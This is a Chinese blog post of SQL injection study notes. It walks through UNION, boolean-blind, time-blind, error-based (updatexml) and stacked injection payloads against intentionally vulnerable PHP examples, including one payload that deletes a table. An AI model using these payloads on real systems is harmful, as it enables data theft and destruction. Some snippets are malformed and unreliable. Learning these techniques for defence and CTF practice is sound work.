本文最后更新于 2024年11月11日 凌晨
以前一直搞不太懂 SQL 注入的一些东西,不知道为什么要加单引号或双引号,为什么有时候用 and 但有时候又用 or,最近看了一些 SQL 注入知识点,所以总结一些 qwq
简介 寻找功能点进行测试,达到非预期执行数据库语句
比如
1 select username,password from users where id = butt3rf1y;
一般在以下地方容易存在注入点:
URL参数:例如在查询字符串或路径中
表单输入:应用程序中的表单输入框,如用户名、密码、搜索框等,如果没有进行充分的输入验证和过滤,就可能成为 SQL 注入的目标
Cookie:如果应用程序使用 Cookie 来存储用户信息或会话状态,可以通过修改 Cookie 中的值来进行 SQL 注入
HTTP头部:有些应用程序可能会从 HTTP 头部中获取数据,可以在 HTTP 头部中进行 SQL 注入
数据库查询语句:如果有源码,直接进行代码审计,可能有直接拼接 SQL 查询语句的地方,存在 SQL 注入
结构
如上图,数据库的结构为
1 2 3 4 5 6 7 8 +数据库 (database) --> ctf_database + - 表_user (table_user) --> user + - 表_users (table_users) --> users + + - 列_id (column_id) --> id + + - 列_username (column_username) --> username + + - 列_password (column_password) --> password + + + - 数据 + + + - 数据
常用语法 SECLECT
1 select 列名1 , 列名2 , ... from 表名 where 条件
UNION
1 select 列名1 from 表名1 union select 列名2 from 表名2
使用 union
的时候两个表列数必须相同
Order by
1 select column1, column2, ... from table_name [where condition] order by column_name
一般用来判断列数,比如说
1 2 3 4 select column1,column2 from table_name order by 1; //不报错 select column1,column2 from table_name order by 2; //不报错 select column1,column2 from table_name order by 3; //报错 //说明只有2列
常用参数 user()
:当前数据库用户
database()
:当前数据库名
concat()
:联合数据,用于联合两条数据。比如 concat(username,0x30,password)
将 username
和 password
通过 :
连接起来
group_concat
:和 concat
类似,用于把多条数据一次注入出来
select xxoo into outfile '路径'
:权限较高时可直接写文件
基本注入类型 注入类型判断 SQL 处理语句后台的写法
1 select username,password from users where id = ?
?
这里有多种闭合方式,比如:$id
,'$id'
,“$id”
,($id)
然后构造闭合 ,其实这个词我也不太懂,看了一下探姬师傅的 hello-ctf 上的解释,是这样的:
比如后台为:
1 select username,password from users where id ="$id "
那么我们使传入的 $id='1"'
,后台执行则为
1 select username,password from users where id ="1" "
在这里对 1
完成了闭合构造,但是闭合了前序导致后续的 "
没有双引号配对,多出来的这个双引号就会导致报错:
1 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
所以通常在构造完闭合后去注释掉后面的符号,比如使用 #
,--
是否报错判断 "1'"
1 2 select username,password from users where id = "1'" // "" 中为可以包含 ',而 1' 是一个合法字符串,在查询时会先被强制类型转换为数字,不会报错
1'
1 2 select username,password from uders where id = 1 ' // 因为这里的' 没有闭合,会报错
'1''
1 2 select username,password from users where id = '1' ' // ' 与前面的'闭合了,但是剩了一个 ' ,会报错
报错信息判断 1"
1 2 3 执行:id = "1" 报错:near '"1""' at line 1 //去掉外层 SQL 的单引号,留下 "1"
1'
1 2 3 执行:id = '1' ' 报错:near ' 1'' ' at line 1 // 去掉外层留下 ' 1'' ,再除去注入的 1',可以判断出是单引号的字符型注入
'1
1 2 3 执行:id = '' 1' 报错:near ' '1' at line 1 // 对于 SQL,id = '' 已经闭合,所以 1' 成为了报错点
数字型注入 1 2 3 4 5 <?php $conn = mysqli_connect ('127.0.0.1' ,'root' ,'root' ,'test' );$res = mysqli_query ($conn ,"select username from users where id=" .$_GET ['id' ]);$row = mysqli_fetch_array ($res );var_dump ($row ['username' ]);
根据用户输入 id,查询用户信息。用户的输入 id 字段,没有任何过滤地被直接拼接在了 sql 查询语句中。由于 id 没有被引用包裹,而且类型为数字,此为数字型注入。
可以使用在语句中加入运算符来测试这种注入是否存在
sql 关键字 union ,将两个 select 语句结果合并到一个结果集中,但要求两个 select 语句拥有相同的列数。
使用联合查询 union
基于 information_schema
拿到数据库名
1 select username,password from user where id = 1 union select 1 ,schema_name from information_schema.schemata;
以把 1 换成其他的,比如 database()
1 select username,password from user where id = 1 union select database (),schema_name from information_schema.schemata;
空格的 url 编码是 %20 ,如果要查询其他行,还需要使用 **limit **关键字。
使用联合查询去得到数据库的表名,先获取当前库(database()
)
基于 UNION
GROUP_CONCAT(table_name)
和 information_schema.tables
查询
1 select username,password from user where id = 1 union select group_concat(table_name ),2 from information_schema.tables where table_schema = database ();
获取 表 的对应字段名
1 select username,password from user where id = 1 union select group_concat(column_name ),2 from information_schema.columns where table_schema = database ();
字符型注入 1 2 3 4 5 <?php $conn = mysqli_connect ('127.0.0.1' ,'root' ,'root' ,'test' );$res = mysqli_query ($conn ,"select id from users where username='" .$_GET ['username' ]."'" );$row = mysqli_fetch_array ($res );var_dump ($row ['id' ]);
通过 username 查询 id,而且用户输入的 username 被单引号包裹起来了。所有用户的所有输入都会被当成字符串处理,无法将之前的数字型注入的 payload 进行注入了。如果输入中有一个引号,就可以将前面的引号闭合,使得后面的内容从字符串中逃逸出来。最后将后面的引号注释掉。
首先就需要构造单引号的闭合
使用一个单引号将字符串闭合,在输入 sql 语句,最后用 # 号将后面的单引号注释掉。
比如:username = ‘or 1=1 # ,
1 select id from users where username ='' or 1 =1 #;
在 where 语句中,or 连接两个表达式,第一个返回假第二个返回真,or 操作后返回真,整个操作返回所有的结果集。
username=-1’ or ‘1’=‘1’ --
1 select * from user where username = '-1' or '1' ='1' -- ' and password = ' $password ';
这样就直接可以使 where
条件为永真 ,直接输出 select * from user
的所有内容
order by
判断函数
1 2 3 4 select * from user where username = '-1' or '1' = '1' order by 1 select * from user where username = '-1' or '1' = '1' order by 2 select * from user where username = '-1' or '1' = '1' order by 3 select * from user where username = '-1' or '1' = '1' order by 4
库名
1 select * from user where username = '-1' or '1' = '1' union select 1 ,schema_name ,2 from information_schema.schemata;
表名
1 select * from user where username = '-1' or '1' = '1' union select 1 ,group_concat(table_name ),2 from information_schema.tables where table_schema=database ()
字段名
1 select * from user where username = '-1' or '1' = '1' union select 1 ,group_concat(column_name ),2 from information_schema.columns where table_schema=database ()
盲注 顾名思义就是服务器不显示查询结果,只返回是否查询成功时,无法使用 union 直接回显数据,需要盲注。盲注有时间盲注和布尔盲注。
例句
1 $sql = "SELECT username,password FROM users WHERE id = ".$_GET[" id"];
有时候防火墙拦截过滤了 and 但 or 可能没有被过滤拦截,那就可以用 or 来进行盲注
布尔盲注 比如 id 传参是
执行语句:
1 select username,password from user where id = 1 and 1 = 1 ;
这里要求两个条件为真,一是有 id=1
,二是 1=1
。
如果 输入1=2
,并不会有回显,返回为空,因为 and
后面的条件并不满足。
所以可以利用此特点来获取其他信息:
length()
获取长度信息1 id = 1 and length(username) = num
利用 length()
函数爆破数据长度
1 select username,password from user where id = 1 and length (username) =1 ;
还可以使用二分
1 2 id = 1 and length(username)< numid = 1 and length(username)> num
SUBSTR()
函数截取字符串substr(string,start,length)
参数依次为:要截取字符串,截取开始位置,截取长度。
比如注入 admin 的 password,构造这样的输入:
1 username ='or substr(password,1 ,1 )='1 ' #;
实际 sql 语句:
1 select id from users where username='' or substr(password,1,1)='1'
可以不断改变比较的字符,选取所有可显示字符去遍历,当猜中真正的返回值时,服务器返回用户存在。
除了截取字符串,还能替换某个字符
将admin
的第 4 到 6 个字符替换为 ***
1 update user set username = substr (username,1 ,3 )||'***' ||substr (username,7 ) where username = 'admin' ;
在不使用联合注入和回显的方式拿到数据
1 select username,password from user where id = 1 and substr ((select password from user where username = 'admin' ),1 ,1 ) = 'a' ;
MID()
函数截取字符串与 substr()
比较像
1 2 mid ("butt3rf1y" ,1 ,3 ); // 返回 “but”substr ("butt3rf1y" ,1 ,3 ); // "but"
CONCAT()
函数拼接字符串可以减少查询跳转次数
1 concat (string1,string2,... )
1 select username,password from user where id = 1 union select concat(username,'-' ,password ),1 from user ;
时间盲注 利用语句执行时间判断真假
IF()
函数判断指定条件是否成立,根据结果返回不同的值
1 2 3 4 if (condition,value_if_true,value_if_false) ;// true :条件成立时要返回的值// false :条件不成立时要返回的值
SLEEP()
函数程序执行时,会暂停指定秒数
比如
1 2 3 select * from user where username = 'admin' and if (sleep(5 ),1,0) ;
延时函数 SLEEP()
或 BENCHMARK()
函数来判断是否注入成功
1 2 3 select username,password from user where id = 1 and if (ASCII(substr(username),1 ,1 ))=97 ,sleep(5 ),0 ); // 如果用户表中的第一个用户名字符为字母 a,则程序会暂停 5 s,否则返回 0
BENCHMARK()
函数用于重复执行指定语句
(重复执行次数,重复执行语句)
1 2 3 select * from user where username = 'admin' and if (benchmark(10 ,md5('butt3rf1y' )),1 ,0 ); // 如果数据库中不存在用户名为 admin 的用户,那么该语句将会立即返回;否则,程序将会重复执行 md5('butt3rf1y' ) 函数 10 次后再返回结果
时间戳 unix_timestamp()
函数
1 2 3 select username,password from user where id = 1 and if (unix_timestamp )>1382772838,sleep (5 ),0) ;
函数返回值 利用函数返回值判断是否注入成功
1 select username,password from user where id = 1 and if (length (username)=4 ,sleep(5 ),0 );
报错注入 通过报错获取信息
updatexml()
函数用于更新 xml 格式数据
(要更新的 xml 数据,要更新的节点路径,更新的节点值)
1 updatexml (xml_target,xpath_expr,new_value)
这个函数有一个缺陷,如果二个参数包含特殊符号 时会报错,并且会第二 个参数的内容显示在报错信息中
比如
1 2 3 select username,password from user where id = 1 and updatexml(1 ,0x7e ,3 ); 会报错:XPATH syntax error: '~'
所以可以用 concat()
函数将查询语句和特殊符号拼接在一起
1 2 3 select username,password from user where id = 1 and updatexml(1 ,concat(0x7e ,version()),3 ); // XPATH syntax error: '~8.0.40'
updatexml()
有长度限制,可以用 limit()
和substr()
函数
limit()
函数
1 2 3 select username,password from user where id = 1 and updatexml(1 ,concat(0x7e ,(select username from user limit 1 ,1 )),3 ); //可以不断改变 limit num,1 的值逐行获取
substr()
函数
1 2 3 select username,password from user where id = 1 and updatexml(1 ,concat(0x7e ,substr((select group_concat(username) from user ),1 ,31 )),3 ); // XPATH syntax error: '~admin,ctf,test,flag,user'
获得所有数据库
1 2 3 select username,password from user where id = 1 and updatexml(1 ,concat('~' ,substr((select group_concat(schema_name ) from information_schema.schemata), 1 , 31 )),3 ); // XPATH syntax error: '~mysql,information_schema,perfor'
获取所有表
1 2 3 select username,password from user where id = 1 and updatexml(1 ,concat('~' ,substr((select group_concat(table_name ) from information_schema.tables where table_schema = 'mysql' ),1 ,31 )),3 ); //XPATH syntax error: '~columns_priv,component,db,defau'
获取所有字段
1 2 3 select username, password from user where id = 1 and updatexml(1 ,concat('~' ,substr((select group_concat(column_name ) from information_schema.columns where table_schema = 'mysql' and table_name = 'db' ),1 ,31 )),3 ); // XPATH syntax error: '~Host,Db,User,Select_priv,Insert'
从 XML 格式的数据中提取指定节点的值
(要提取节点值的 XML 数据,要提取的节点路径)
1 extractvalue (xml_target,xpath_expr)
报错和 updatexml()
函数一样,使用也差不多,但是少一个参数 x
堆叠注入 一堆 SQL 语句 (多条) 一起执行方法
在执行 SQL 语句时,如果 SQL 语句中包含多个 SQL 语句,数据库服务器会依次执行这些 SQL 语句,从而导致多次 SQL 注入攻击(感觉有点小像爆破)。通过在 SQL 语句中使用分号(;)来分隔多个 SQL 语句,从而实现堆叠注入攻击。
1 select * from users;show databases;
堆叠注入可以执行的是任意 的语句。
比如用户输入:1; DELETE FROM products
1 Select * from products where productid=1 ;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
并不是每一个环境都适合堆叠注入,且在堆叠前还需要知道一些信息才能正常注入。
只是一些常见的注入类型,以后在学习过程中还会遇到新知识,到时候再补充嘻嘻~~~